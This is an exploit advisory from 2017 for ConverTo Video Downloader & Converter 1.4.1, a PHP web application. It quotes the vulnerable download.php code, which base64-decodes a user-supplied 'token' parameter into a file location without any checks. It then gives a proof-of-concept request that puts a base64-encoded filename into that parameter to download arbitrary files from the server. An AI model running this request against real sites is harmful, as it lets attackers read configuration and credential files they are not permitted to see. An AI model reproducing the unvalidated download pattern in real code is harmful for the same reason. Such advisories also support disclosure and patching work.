发布 2017-09-29 漏洞条目

ConverTo Video Downloader & Converter 1.4.1 – Arbitrary File Download

Exploit Source

# # # # #

# Exploit Title: ConverTo Video Downloader & Converter 1.4.1 - Arbitrary File Download

# Dork: N/A

# Date: 29.09.2017

# Vendor Homepage: https://codecanyon.net/user/lemonadeflirt

# Software Link: https://codecanyon.net/item/converto-video-downloader-converter/13225966

# Demo: http://vd.googglet.com/

# Version: 1.4.1

# Category: Webapps

# Tested on: WiN7_x64/KaLiLinuX_x64

# CVE: N/A

# # # # #

# Exploit Author: Ihsan Sencan

# Author Web: http://ihsan.net

# Author Social: @ihsansencan

# # # # #

# Description:

# The security obligation allows an attacker to arbitrary download files..

# Vulnerable Source:

# .............

# <?php

# include_once('.......php');

# // Check download token

# if (empty($_GET['mime']) OR empty($_GET['token']))

# {

# exit('Invalid download token 8{');

# }

# // Set operation params

# $mime = filter_var($_GET['mime']);

# $ext = str_replace(array('/', 'x-'), '', strstr($mime, '/'));

# $url = base64_decode(filter_var($_GET['token']));

# $name = urldecode($_GET['title']). '.' .$ext;

# ?>

# .............

# Proof of Concept:

# http://localhost/[PATH]/download.php?mime=video/webm&title=Efe&token=[FILENAME_to_BASE64]

# Etc...

# # # # #

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